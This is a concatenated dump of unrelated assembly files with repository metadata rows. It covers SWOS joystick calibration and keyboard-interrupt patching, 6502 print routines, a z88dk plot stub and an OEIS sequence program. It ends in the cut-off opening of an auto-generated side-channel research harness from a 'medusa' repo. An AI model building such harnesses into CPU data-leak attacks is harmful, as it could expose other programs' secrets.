mov ebp, [esi + joyNumLoopsPtr]
xor eax, eax
xor ecx, ecx
mov ax, [joyCalibrationYDown]
mov cx, [joyCalibrationXRight]
sub eax, ecx
sbb ebx, ebx ; ebx = eax < ecx ? -1 : 0
neg ebx ; ebx = eax < ecx ? 0 : -1
and ebx, eax ; ebx = eax < ecx ? 0 : eax - ecx
add ecx, ebx ; ecx = eax < ecx ? ecx : eax
mov [ebp], cx ; cx = max(ax, bx) for number of loops
retn
; DrawJoystickAxisCalibrationMenu
;
; in:
; eax -> menu title string
; [esp + 4] - player number
;
; Draws joystick calibration menu and flips it to the screen.
;
DrawJoystickAxisCalibrationMenu:
push ebx
push esi
push edi
push edx
push eax
mov ecx, [esp + 24]
call DrawJoystickCalibrationMenuBase
mov word [D1], 160
mov word [D2], 55
mov word [D3], 13
mov edx, smallCharsTable
pop dword [A0]
mov [A1], edx
calla DrawMenuTextCentered
mov word [D1], 160
mov word [D2], 67
mov eax, aPressEscapeToCancel
mov dword [A0], eax
mov [A1], edx
calla DrawMenuTextCentered
calla FlipInMenu
pop edx
pop edi
pop esi
pop ebx
retn
; DrawJoystickCalibrationMenuBase
;
; in:
; ecx - player number (0 or 1)
;
; Draws joystick calibration menu main part, drawing values for extreme readings
; depending on joyCalibrationValues table. Does not do the flip.
;
kCalibrationMenuBaseY equ 82
DrawJoystickCalibrationMenuBase:
push ecx
push ebx
push edx
add cl, '1'
mov byte [joyMenuTitle + 30], cl
mov esi, [linAdr384k]
mov edi, esi
add esi, 131072
mov ecx, 16000
rep movsd ; draw background
mov edx, smallCharsTable
mov word [D1], 160
mov word [D2], 30
mov word [D3], 2
mov dword [A0], joyMenuTitle
mov [A1], edx
calla DrawMenuTextCentered
push byte 82
xor eax, eax
mov esi, joyLeftStrings ; first draw left strings
pop edi
.prepare_loop:
push byte 3
mov word [D2], kCalibrationMenuBaseY
pop ecx
.draw_strings_loop:
push eax
push esi
push edi
push ecx
add word [D2], 10
mov eax, [esi]
mov dword [A0], eax
mov [A1], edx
mov [D1], edi
calla DrawMenuText
pop ecx
pop edi
pop esi
pop eax
add esi, 4
dec ecx
jnz .draw_strings_loop
test eax, eax
jnz .write_joy_values
inc eax
mov esi, joyRightStrings ; then draw right strings
mov edi, 162
jmp short .prepare_loop
.write_joy_values:
push byte 6
mov esi, joyCalibrationValues
pop ecx
.joy_values_loop:
mov eax, [esi]
test ax, ax ; check if value defined (lo word hi bit reset)
js .next
push ecx
mov ebx, eax
mov ecx, eax
shr ebx, 8
and ebx, 0x7f ; ebx = y
and ecx, 0xff ; ecx = x
shr eax, 16 ; eax = read value
mov [D1], ecx ; set D1 here since GCC will modify ecx
mov [D2], ebx
call int2str ; convert to string
mov word [D3], 2
mov [A0], eax
mov dword [A1], smallCharsTable
pushad
calla DrawMenuText
popad
pop ecx
.next:
add esi, byte 4
dec ecx
jnz .joy_values_loop
pop edx
pop ebx
pop ecx
retn
; ReadJoystickValuesForCalibration
;
; out:
; ebp - bit 0 clear, bit 1 set if joystick 2 timed out, 0 if no error
;
; Reads current joystick values and writes them to joy?Read array, but only if
; the readings are valid.
;
ReadJoystickValuesForCalibration:
push ebx
push ecx
push edx
push esi
push edi
mov bl, 1 ; full loop range
call ReadJoystickValues
cmp ebp, 3
jz .out
test ebp, 1
jnz .test_joy2
mov [joyXRead], ax
mov [joyYRead], bx
.test_joy2:
test ebp, 2
jnz .set_buttons
mov [joyXRead + 4], cx
mov [joyYRead + 4], dx
.set_buttons:
mov [joyButtons], si
.out:
pop edi
pop esi
pop edx
pop ecx
pop ebx
retn
; ReadGamePort2
;
; in:
; ebx - expected to be zero
;
; Get joystick readings and update SWOS internal variables. Meant to be used as a
; replacement for SWOS joystick reading routine.
;
global ReadGamePort2
ReadGamePort2:
call ReadJoystickValues
mov [g_joy1X], ax
mov [g_joy1Y], bx
mov [g_joy2X], cx
mov [g_joy2Y], dx
retn
; CheckDOSBoxJoystick2Values
;
; in:
; ax - joy1 x
; bx - joy1 y
; cx - joy2 x
; dx - joy2 y
; si - buttons bitfield
; out:
; input unchanged, except for cx and dx which might get corrected
; ebp - bit 0 clear, bit 1 set if joystick 2 timed out, 0 if no error
; carry flag: set = error, clear = OK
;
; If second joystick is disconnected but first isn't, DOSBox will not set carry flag and
; will return some bogus values. Luckily those values are unique and we can detect them --
; basically any value greater than zero outside of positive byte range means second joystick
; is off. Bad thing is that DOSBox only updates joystick connected state at startup, so if the
; joystick is disconnected later we will have no way of detecting it. It will keep returning
; last values it had, and carry flag would be clear. Same goes for first joystick.
;
CheckDOSBoxJoystick2Values:
push eax
call DOSBoxDetected
test eax, eax
pop eax
jz .out_ok
cmp cx, 127
ja .joy2_failure
test cx, cx
jz .joy2_failure
cmp dx, 127
ja .joy2_failure
test dx, dx
jz .joy2_failure
.out_ok:
xor ebp, ebp ; all seems in order here
retn
.joy2_failure:
push 2
pop ebp
and esi, ~1100b
retn
; ReadJoystickValues
;
; in:
; ebx - if zero use number of loops values from calibration, otherwise go through full 16-bit range
; (ignored if using BIOS routines)
; out:
; ax - joy1 x
; bx - joy1 y
; cx - joy2 x
; dx - joy2 y
; si - buttons bitfield, in lower nibble
; ebp - bit 0 set if joystick 1 timed out, bit 1 set if joystick 2 timed out, everything 0 if no error
; (if we're using BIOS both bits will be set if error, we can't differentiate between them,
; although we handle some cases with DOSBox)
;
; Refresh joystick readings for both joysticks x/y axis. Use BIOS or read from
; the port directly depending on the option set.
;
extern GetUseBIOSJoystickRoutineOption
ReadJoystickValues:
call GetUseBIOSJoystickRoutineOption
test al, al
jz ReadGamePort
xor ebp, ebp
xor edx, edx ; get buttons first
mov ah, 0x84
push eax
int 0x15
mov esi, eax
pop eax
jc .err_out
inc edx ; get values, this works so good on DOSBox :)
int 0x15
jc .err_out ; carry will be set only if both joysticks are disconnected
not esi
shr esi, 4 ; place button bits into lower nibble
and esi, 0x0f ; remove axis values
jmp CheckDOSBoxJoystick2Values
.err_out:
mov ax, [g_joy1CenterX]
mov bx, [g_joy1CenterY]
mov cx, [g_joy2CenterX]
mov dx, [g_joy2CenterY]
xor esi, esi
mov ebp, 11b ; sadly we don't know which joystick was disconnected
retn
; ReadGamePort
;
; in:
; ebx - if zero use number of loops values from calibration, otherwise go through full 16-bit range
; out:
; ax - joy1 x
; bx - joy1 y
; cx - joy2 x
; dx - joy2 y
; si - buttons bitfield
; ebp - bit 0 set if joystick 1 timed out, bit 1 set if joystick 2 timed out, 0 if no timeouts
;
; Replacement for SWOS' game port reading routine. Return center values in case joystick was disconnected.
;
ReadGamePort:
xor ecx, ecx
dec cx
test ebx, ebx
jnz .init_poll_loop
movzx ecx, word [g_numLoopsJoy2]
cmp word [g_joyKbdWord], 5 ; two joysticks
jz .init_poll_loop
movzx ecx, word [g_numLoopsJoy1]
.init_poll_loop:
mov ah, 1 ; do one "fake" loop, to make sure that the monostable vibrators have stabilized
xor esi, esi ; it also helps ensure entire loop is in the cache
xor ebx, ebx
xor edi, edi
xor ebp, ebp
test ah, ah
mov dx, 0x201 ; game port
cli
jnz .poll_loop
.trigger_the_timer:
out dx, al ; trigger the timer chip
jmp $ + 2
jmp $ + 2
.poll_loop:
in al, dx
test al, 0x0f
jz .poll_done ; once the counters hit zero we're done
shr al, 1
adc esi, 0
shr al, 1
adc ebx, 0
shr al, 1
adc edi, 0
shr al, 1
adc ebp, 0
dec ecx ; do not use loop instruction here, because if ecx
jns .poll_loop ; happens to be zero we might get into 2^32 loop :<
shl al, 4 ; put button bits back to hi nibble
.poll_done:
dec ah
jz .trigger_the_timer
sti
not al ; reverse button logic (make it 1 = pressed, 0 = depressed)
shr al, 4 ; return button bits in lower nibble
mov edx, ebp
xor ebp, ebp ; ebp will be success flag
cmp esi, 0xffff ; check if joystick was disconnected
jb .test_joy2
mov si, [g_joy1CenterX] ; if disconnected set to some neutral values so it doesn't
mov bx, [g_joy1CenterY] ; effectively prevent us from using menus
and al, 11111100b
or ebp, 1
.test_joy2:
cmp edi, 0xffff
jb .out
mov di, [g_joy2CenterX]
mov dx, [g_joy2CenterY]
and al, 11110011b
or ebp, 2
.out:
xchg eax, esi
and esi, 0xff
mov ecx, edi
retn
; ReadJoystickButtons
;
; out:
; al - joystick buttons bitfield (bits 4-7) with inverted (proper) logic (1=on, 0=off)
; carry flag: set = error, clear = OK (although in practice there shouldn't be an error)
;
; Read joystick buttons directly or using BIOS depending on options. Replace SWOS'
; game port access with this routine.
;
global ReadJoystickButtons
ReadJoystickButtons:
push edx
call GetUseBIOSJoystickRoutineOption
test al, al
jnz .use_bios
mov dx, 0x201
in al, dx
jmp .out
.use_bios:
mov ah, 0x84
xor edx, edx
int 0x15
jnc .out
or al, -1
.out:
not al
and al, 0xf0 ; don't shift as SWOS will do it
pop edx
retn
; ClearJoystickButtons
;
; in:
; bl - joystick button mask
; out:
; carry flag: set = error, clear = OK
;
; Waits for joystick buttons to be depressed.
;
ClearJoystickButtons:
call ReadJoystickButtons
jc .out
shr al, 4
and al, bl
jnz ClearJoystickButtons
.out:
mov byte [joyButtons], 0
retn
; PromptForJoystickButton
;
; in:
; bl - joystick buttons mask
; ecx - joystick number (0 or 1)
; edx - button number (0 or 1)
; out:
; eax - button pressed: 0 = none, -1 = button 1, -2 = button 2
;
; Asks user for joystick buttons presses and converts them into negative button
; indices we store them as. Also draw "press ... button" string.
;
PromptForJoystickButton:
push edx
push ecx
push esi
call DrawJoystickCalibrationMenuBase ; first redraw without the title
mov word [D1], 160
mov word [D2], 130
mov word [D3], 13
mov dword [A0], aPressNormalFire
test edx, edx
jz .normal_fire
mov dword [A0], aPressSpecialFire
.normal_fire:
mov dword [A1], smallCharsTable
push edx
push ecx
push ebx
push esi
calla DrawMenuTextCentered
pop esi
pop ebx
pop ecx
pop edx
call ReadJoystickButtons
shr al, 4
and al, bl ; mask button bits
shl ecx, 1 ; ecx is 0 or 2
shr al, cl ; put button bits into lower two bits
test al, 1 ; first button?
jz .no_button1
or eax, -1
jmp short .out
.no_button1:
test al, 2 ; second button?
jz .no_button2
or eax, -1
dec eax
jmp short .out
.no_button2:
xor eax, eax ; nothing
.out:
calla FlipInMenu, edx
pop esi
pop ecx
pop edx
retn
; InstallKeyboardHandler
;
; in:
; al - true = installing, false = deinstalling
; edx -> keyboard handler to install (if installing)
;
; Installs or uninstalls keyboard handler. Can remember only last keyboard
; handler, do not call multiple times.
;
global InstallKeyboardHandler
InstallKeyboardHandler:
push ds
push es
push ebx
push eax
push edx
cli
test eax, eax
jz .uninstall
mov ax, 0x3509
int 0x21 ; get old keyboard handler, es:ebx
mov [oldInt9Ofs], ebx ; save it for later
mov [oldInt9Seg], es
mov ax, cs
mov ds, ax
mov ax, 0x2509 ; now setup new one
int 0x21
jmp short .out
.uninstall:
cli
mov ax, 0x2509
mov edx, [oldInt9Ofs]
mov ds, [oldInt9Seg]
int 0x21
.out:
sti
pop edx
pop eax
pop ebx
pop es
pop ds
retn
; EnableShiftSupport
;
; Patch existing int 9 keyboard handler with support for detecting whether shift
; key is held down or not.
;
global EnableShiftSupport
EnableShiftSupport:
mov esi, Int9Patch
push byte Int9PatchSize
pop ecx
mov edi, Int9KeyboardHandler + 0x24
cld
cli
rep movsb
sti
retn
CheckShiftCode:
cmp al, 0x2a ; left shift down
jz .shift_on
cmp al, 0x36 ; right shift down
jz .shift_on
cmp al, 0xaa ; left shift up
jz .shift_off
cmp al, 0xb6 ; right shift up
jz .shift_off
.out:
cmp al, 0x80
retn
.shift_on:
mov byte [shiftDown], 1
jmp .out
.shift_off:
mov byte [shiftDown], 0
jmp .out
; Int9Patch
;
; Glue for shift support. Reason for this being done as it is (and not through
; patch record), is to be safe and have interrupts off during the patching.
;
Int9Patch:
calla CheckShiftCode, ebx
nop
nop
Int9PatchSize equ $ - Int9Patch
; additional keys FilterKeys will allow
shiftVersions:
db "'", '(', ')', ',', '-', '.', '*', '?', ':', '+', '%',
additionalKeys:
db "'", '9', '0', ',', '-', '.', '8', '/', ';', '+', '6', 0
; TestAdditionalKeys
;
; in:
; ax - ASCII code of a key that is being tested whether to be allowed as input or not
;
; Patch FilterKeys and allow additional keys to go through when typing.
;
TestAdditionalKeys:
and eax, 0xffff
test eax, eax
jz .out
xor ebx, ebx
mov esi, shiftVersions
mov edi, additionalKeys
mov ebp, [shiftDown]
and ebp, 0xff
.next_key:
mov bl, [edi]
mov cl, [esi]
test ebx, ebx
jz .out
inc edi
inc esi
cmp eax, ebx
jnz .next_key
.check_shift: ; non-shift key matched
test ebp, ebp
jz .accept_key
mov eax, ecx ; convert to shift character
.accept_key:
mov [D1], eax ; set the matched key
or eax, eax
pop eax ; return directly to the caller
retn
.out: ; no match return as usual
cmp eax, 'A'
retn
; PatchFilterKeys
;
; in:
; esi -> bytes to patch in
;
PatchFilterKeys:
mov edi, FilterKeys + 0xe
mov ecx, FilterKeysPatchSize
cld
rep movsb
retn
global EnableAdditionalInputKeys
EnableAdditionalInputKeys:
mov esi, FilterKeysPatch
mov byte [convertKeysTable + 0x0c], "-"
mov word [convertKeysTable + 0x27], ";'" ; patch conversion table too
mov dword [convertKeysTable + 0x33], ',' | '.' << 8 | '/' << 16 | 0x16 << 24
jmp PatchFilterKeys
global DisableAdditionalInputKeys
DisableAdditionalInputKeys:
mov esi, FilterKeysOrigBytes
mov byte [convertKeysTable + 0x0c], 0
mov word [convertKeysTable + 0x27], 0
mov dword [convertKeysTable + 0x33], 0x16 << 24
jmp PatchFilterKeys
FilterKeysPatch:
calla TestAdditionalKeys, ebx
nop
FilterKeysPatchSize equ $ - FilterKeysPatch
FilterKeysOrigBytes:
cmp word [D1], 'A'
FilterKeysOrigBytesSize equ $ - FilterKeysOrigBytes
%if FilterKeysPatchSize != FilterKeysOrigBytesSize
%error "Patch and original bytes size for FilterKeys patch differ!"
%endif
section .data
StartMenu controlsMenu, ControlsMenuInit, 0, 0, 2
; title
StartEntry 92, 0, 120, 15
EntryColor 0x17
EntryString 0, "CONTROLS MENU"
EndEntry
; exit
StartEntry 102, 185, 100, 15
NextEntries -1, -1, 7, -1
EntryColor 12
EntryString 0, aExit
OnSelect SetExitMenuFlag
EndEntry
StartTemplateEntry
StartEntry
EntryColor 14
OnSelect ControlsOnSelectCommon
EndEntry
StartEntry 92, 30, 120, 15
NextEntries -1, -1, -1, 3
EntryString 0, "KEYBOARD ONLY"
EndEntry
StartEntry 92, 55, 120, 15
NextEntries -1, -1, 2, 4
EntryString 0, "JOYSTICK ONLY"
EndEntry
StartEntry 92, 80, 120, 15
NextEntries -1, -1, 3, 5
EntryString 0, "JOYSTICK + KEYBOARD"
EndEntry
StartEntry 92, 105, 120, 15
NextEntries -1, -1, 4, 6
EntryString 0, "KEYBOARD + JOYSTICK"
EndEntry
StartEntry 92, 130, 120, 15
NextEntries -1, -1, 5, 7
EntryString 0, "JOYSTICK + JOYSTICK"
EndEntry
StartEntry 92, 155, 120, 15
NextEntries -1, -1, 6, 1
EntryString 0, "KEYBOARD + KEYBOARD"
EndEntry
EndMenu
; must be successive (7 bytes)
pl2Keyboard:
db 0
pl2Codes:
codeUp:
db 0x11 ; 'w'
codeDown:
db 0x1f ; 's'
codeLeft:
db 0x1e ; 'a'
codeRight:
db 0x20 ; 'd'
codeFire1:
db 0x2a ; left shift
codeFire2:
db 0x29 ; `
%if codeFire2 - 6 != pl2Keyboard
%error "Player 2 keyboard variables must be successive!"
%endif
; 0 = nothing
; 1 = set keyboard
; 2 = set joystick
;
; high byte = player 2
; low byte = player 1
calibrateValues:
dw 0x0001, 0x0002, 0x0102, 0x0201, 0x0202, 0x0101
aSelectKeysForPlayer:
db "SELECT KEYS FOR PLAYER 1", 0
aUp:
db "UP:", 0
aDown:
db "DOWN:", 0
aLeft:
db "LEFT:", 0
aRight:
db "RIGHT:", 0
aFire:
db "FIRE:", 0
aBench:
db "BENCH:", 0
; scan codes to strings - first scan code, than length of string
; (+ terminator), and then the string itself
; table ends with 0xff scan code
keyTable:
db 0x01, 7, "ESCAPE", 0
db 0x0f, 4, "TAB", 0
db 0x1c, 6, "ENTER", 0
db 0x39, 6, "SPACE", 0
db 0x48, 9, "UP ARROW", 0
db 0x4b, 11, "LEFT ARROW", 0
db 0x4d, 12, "RIGHT ARROW", 0
db 0x50, 11, "DOWN ARROW", 0
db 0x0e, 10, "BACKSPACE", 0
db 0x3a, 10, "CAPS LOCK", 0
db 0x3b, 3, "F1", 0
db 0x3c, 3, "F2", 0
db 0x3d, 3, "F3", 0
db 0x3e, 3, "F4", 0
db 0x3f, 3, "F5", 0
db 0x40, 3, "F6", 0
db 0x41, 3, "F7", 0
db 0x42, 3, "F8", 0
db 0x43, 3, "F9", 0
db 0x44, 4, "F10", 0
db 0x57, 4, "F11", 0
db 0x58, 4, "F12", 0
db 0x4e, 12, "KEYPAD PLUS", 0
db 0x4a, 13, "KEYPAD MINUS", 0
db 0x53, 4, "DEL", 0
db 0x1d, 5, "CTRL", 0
db 0x2a, 11, "LEFT SHIFT", 0
db 0x36, 12, "RIGHT SHIFT", 0
db 0x38, 4, "ALT", 0
db 0x45, 9, "NUM LOCK", 0
db 0x37, 9, "KEYPAD *", 0
db 0x46, 12, "SCROLL LOCK", 0
db 0x4c, 9, "KEYPAD 5", 0
db 0x52, 7, "INSERT", 0
db 0x47, 5, "HOME", 0
db 0x4f, 4, "END", 0
db 0x49, 8, "PAGE UP", 0
db 0x51, 10, "PAGE DOWN", 0
db 0xff
aUnknownKey:
db "UNKNOWN KEY", 0
oneCharTable:
db "1234567890-=", 0, 0, "QWERTYUIOP[]", 0, 0, "ASDFGHJKL;'`", 0
db "\ZXCVBNM,./"
oneCharTableSize equ $ - oneCharTable
redefineStr:
db "SATISFIED WITH THE CHOICE? (Y/N)", 0
joyMenuTitle:
db "CALIBRATE JOYSTICK FOR PLAYER 1", 0
joyLeftStrings:
dd aJoyLeftX, aJoyRightX, aJoyCenterX
joyRightStrings:
dd aJoyLeftY, aJoyBottomY, aJoyCenterY
aJoyLeftX:
db "LEFT X:", 0
aJoyLeftY:
db "TOP Y:", 0
aJoyRightX:
db "RIGHT X:", 0
aJoyBottomY:
db "BOTTOM Y:", 0
aJoyCenterX:
db "CENTER X:", 0
aJoyCenterY:
db "CENTER Y:", 0
kbdVars:
dd UP, pl2Codes
; Matrix of x and y axis readings that will be drawn by joystick calibration menu.
; High words get filled with values read from joystick. If high bit in lo word is set,
; values are skipped (not read and displayed). Keep in sync with start of joyVars.
; lo word: (except hi bit)
; lo byte - x position on screen
; hi byte - y -//-
joyCalibrationValues:
dd 0x8000 | kCalibrationMenuBaseY + 10 << 8 | 132, 0x8000 | kCalibrationMenuBaseY + 10 << 8 | 212 ; joyXLeft, joyYUp
dd 0x8000 | kCalibrationMenuBaseY + 20 << 8 | 132, 0x8000 | kCalibrationMenuBaseY + 20 << 8 | 212 ; joyXRight, joyYDown
dd 0x8000 | kCalibrationMenuBaseY + 30 << 8 | 132, 0x8000 | kCalibrationMenuBaseY + 30 << 8 | 212 ; joyXCenter, joyYCenter
joyCalibrationXLeft equ joyCalibrationValues + 2
joyCalibrationYUp equ joyCalibrationValues + 6
joyCalibrationXRight equ joyCalibrationValues + 10
joyCalibrationYDown equ joyCalibrationValues + 14
joyCalibrationXCenter equ joyCalibrationValues + 18
joyCalibrationYCenter equ joyCalibrationValues + 22
aMoveUpLeftStr:
db "MOVE JOYSTICK UP AND LEFT AND PRESS FIRE", 0
aMoveDownRightStr:
db "MOVE JOYSTICK DOWN AND RIGHT AND PRESS FIRE", 0
aMoveCenterStr:
db "MOVE JOYSTICK TO CENTER AND PRESS FIRE", 0
calibrationTitleStrings:
dd aMoveUpLeftStr, aMoveDownRightStr, aMoveCenterStr
aPressEscapeToCancel:
db "(PRESS ESCAPE TO CANCEL)", 0
; masks for joystick buttons
joyButtonsMask:
db 3, 12
aJoystickError:
db "JOYSTICK ERROR", 0
aCalibrateAgain:
db "CALIBRATE AGAIN? (Y/N)", 0
joyVars:
dd joy1Vars, joy2Vars
joyXLeftPtr equ 0
joyYUpPtr equ 4
joyXRightPtr equ 8
joyYDownPtr equ 12
joyXCenterPtr equ 16
joyYCenterPtr equ 20
joyXLeftDivPtr equ 24
joyXRightDivPtr equ 28
joyYTopDivPtr equ 32
joyYBottomDivPtr equ 36
joyNumLoopsPtr equ 40
joy1Vars:
dd g_joy1MinX
dd g_joy1MinY
dd g_joy1MaxX
dd g_joy1MaxY
dd g_joy1CenterX
dd g_joy1CenterY
dd g_joy1XLeftDivisor
dd g_joy1XRightDivisor
dd g_joy1YTopDivisor
dd g_joy1YBottomDivisor
dd g_numLoopsJoy1
joy2Vars:
dd g_joy2MinX
dd g_joy2MinY
dd g_joy2MaxX
dd g_joy2MaxY
dd g_joy2CenterX
dd g_joy2CenterY
dd g_joy2XLeftDivisor
dd g_joy2XRightDivisor
dd g_joy2YTopDivisor
dd g_joy2YBottomDivisor
dd g_numLoopsJoy2
aPressNormalFire:
db "PRESS NORMAL FIRE", 0
aPressSpecialFire:
db "PRESS SPECIAL FIRE (NORMAL FIRE SKIPS)", 0
joyButtonPointers: ; points to SWOS variables
dd g_joy1Fire1
dd g_joy1Fire2
dd g_joy2Fire1
dd g_joy2Fire2
section .bss
oldInt9Ofs:
resd 1
oldInt9Seg:
resw 1
keyStrBuf:
resb 2
global shiftDown
shiftDown:
resb 1
; to select values add player number * 4 to corresponding address
; values for joystick 1
joyXRead:
resw 1
joyYRead:
resw 1
; values for joystick 2
resw 1
resw 1
joyButtons:
resb 1
; previous player 2 on keyboard flag
oldPl2Keyboard:
resb 1
| 24.752498 | 128 | 0.560664 |
bddd5dd04688f90b68534826d2988125f614214a | 3,742 | asm | Assembly | runtime/utility1.asm | paulscottrobson/amoral | 09186f2476bd1e8acfc59ba9efbf04e1126567e9 | [
"MIT"
] | 3 | 2020-11-19T18:31:11.000Z | 2020-11-23T17:59:53.000Z | runtime/utility1.asm | paulscottrobson/amoral | 09186f2476bd1e8acfc59ba9efbf04e1126567e9 | [
"MIT"
] | null | null | null | runtime/utility1.asm | paulscottrobson/amoral | 09186f2476bd1e8acfc59ba9efbf04e1126567e9 | [
"MIT"
] | 1 | 2021-05-14T07:49:05.000Z | 2021-05-14T07:49:05.000Z | ; *******************************************************************************************
; *******************************************************************************************
;
; File: utility1.asm
; Date: 14th November 2020
; Purpose: Utility routines for 6502 code.
; Author: Paul Robson (paul@robson.org.uk)
;
; *******************************************************************************************
; *******************************************************************************************
; *******************************************************************************************
;
; Clear variable space
;
; *******************************************************************************************
define "clear.variables:0",EndVariableClear
VariableClear:
lda #VarAddr & $FF
sta temp0
lda #VarAddr >> 8
sta temp0+1
ldx #VarPages
ldy #0
tya
_VCLoop:sta (temp0),y
iny
bne _VCLoop
inc temp0+1
dex
bne _VCLoop
rts
EndVariableClear:
; *******************************************************************************************
;
; Stop
;
; *******************************************************************************************
define "halt.program:0",EndHaltProgram
HaltProgram:
jmp HaltProgram
EndHaltProgram:
; *******************************************************************************************
;
; Boot address
;
; *******************************************************************************************
define "boot.address:0",EndBootAddress
lda #BootAddr & $FF
ldx #BootAddr >> 8
rts
EndBootAddress:
; *******************************************************************************************
;
; Print Hex w/leading space
;
; *******************************************************************************************
define "print.hex:1",EndPrintHex
PrintHex:
phxa
pha
lda #32
jsr PrintCharacter
txa
jsr _PHex
pla
jsr _PHex
plxa
rts
_PHex: pha
lsr a
lsr a
lsr a
lsr a
jsr _PNibl
pla
_PNibl: and #15
cmp #10
bcc _PNoSkip
adc #6
_PNoSkip:
adc #48
jmp PrintCharacter
EndPrintHex:
; *******************************************************************************************
;
; Print ASCIIZ String
;
; *******************************************************************************************
define "print.string:1",EndPrintString
PrintString:
phxa
sta temp0
stx temp0+1
ldy #0
_PSLoop:lda (temp0),y
beq _PSExit
jsr PrintCharacter
iny
bne _PSLoop
_PSExit:plxa
rts
EndPrintString
; *******************************************************************************************
;
; Print Decimal/Signed
;
; *******************************************************************************************
define "print.int:1",EndPrintDecimal
PrintDecimal:
phxa
pha
lda #32 ; leading spaces.
jsr PrintCharacter
pla
jsr PDEntry
plxa
rts
;
PDEntry:
sta temp1 ; save in temp1
stx temp1+1
_PDRecurse:
lda #10 ; set base to 10.
sta temp0
lda #0
sta temp0+1
jsr Divide
lda Reg16 ; push remainder on stack.
pha
lda temp1 ; call recursively if not zero
ora temp1+1
beq _PDNoRecurse
jsr _PDRecurse ; recursively print
_PDNoRecurse:
pla ; restore and print
ora #48
jmp PrintCharacter
EndPrintDecimal:
define "print.sint:1",EndPrintSignedInt
cpx #0
beq PrintDecimal
phxa
pha
lda #32
jsr PrintCharacter
lda #'-'
jsr PrintCharacter
pla
jsr Negate
jsr PDEntry
plxa
rts
EndPrintSignedInt:
| 22.011765 | 93 | 0.370925 |
ffcabf7dcccaf5f03a837faca1cf59c5813f5346 | 501 | asm | Assembly | libsrc/graphics/w_plot.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 38 | 2021-06-18T12:56:15.000Z | 2022-03-12T20:38:40.000Z | libsrc/graphics/w_plot.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 2 | 2021-06-20T16:28:12.000Z | 2021-11-17T21:33:56.000Z | libsrc/graphics/w_plot.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 6 | 2021-06-18T18:18:36.000Z | 2021-12-22T08:01:32.000Z | ;
; Z88 Graphics Functions - Small C+ stubs
;
; Written around the Interlogic Standard Library
;
; Stubs Written by D Morris - 30/9/98
;
;
; $Id: w_plot.asm $
;
; CALLER LINKAGE FOR FUNCTION POINTERS
; ----- void plot(int x, int y)
SECTION code_graphics
PUBLIC plot
PUBLIC _plot
EXTERN plot_callee
EXTERN ASMDISP_PLOT_CALLEE
.plot
._plot
pop af
pop de ; y
pop hl ; x
push hl
push de
push af
jp plot_callee + ASMDISP_PLOT_CALLEE
| 13.916667 | 54 | 0.630739 |
593ef859608ade91059cc16b1f832cb0839ea95f | 702 | asm | Assembly | programs/oeis/053/A053001.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/053/A053001.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/053/A053001.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A053001: Largest prime < n^2.
; 3,7,13,23,31,47,61,79,97,113,139,167,193,223,251,283,317,359,397,439,479,523,571,619,673,727,773,839,887,953,1021,1087,1153,1223,1291,1367,1439,1511,1597,1669,1759,1847,1933,2017,2113,2207,2297,2399,2477,2593,2699,2803,2909,3023,3121,3229,3361,3469,3593,3719,3833,3967,4093,4219,4349,4483,4621,4759,4889,5039,5179,5323,5471,5623,5749,5927,6079,6229,6397,6553,6719,6883,7043,7219,7393,7561,7741,7919,8093,8273,8461,8647,8831,9013,9209,9403,9601,9791,9973,10193
mov $2,$0
mov $5,$0
seq $0,56927 ; Difference between n^2 and largest prime less than n^2.
add $5,6
sub $5,$0
mov $0,-6
add $5,2
add $0,$5
add $0,2
mov $4,$2
mul $4,3
add $0,$4
mov $3,$2
mul $3,$2
add $0,$3
| 36.947368 | 461 | 0.717949 |
0c4454a6ce202ea60858d19379eb12444586632d | 6,185 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1040.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1040.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1040.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r15
push %r8
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x13751, %r8
and %rcx, %rcx
vmovups (%r8), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $0, %xmm1, %rax
nop
sub %r12, %r12
lea addresses_WC_ht+0x1e87b, %rsi
lea addresses_UC_ht+0x1adb, %rdi
clflush (%rdi)
nop
nop
nop
nop
add %rax, %rax
mov $109, %rcx
rep movsb
nop
nop
nop
dec %rsi
lea addresses_normal_ht+0x96db, %rsi
lea addresses_A_ht+0x1dc3b, %rdi
nop
nop
nop
nop
sub $36957, %rax
mov $111, %rcx
rep movsl
nop
nop
xor %r8, %r8
lea addresses_D_ht+0x11b, %r12
nop
nop
nop
and $3823, %rbx
mov $0x6162636465666768, %rcx
movq %rcx, %xmm2
and $0xffffffffffffffc0, %r12
vmovntdq %ymm2, (%r12)
nop
nop
nop
nop
nop
xor %rcx, %rcx
lea addresses_UC_ht+0xeedb, %rsi
lea addresses_WC_ht+0x8ddb, %rdi
nop
nop
nop
nop
dec %r15
mov $118, %rcx
rep movsl
nop
nop
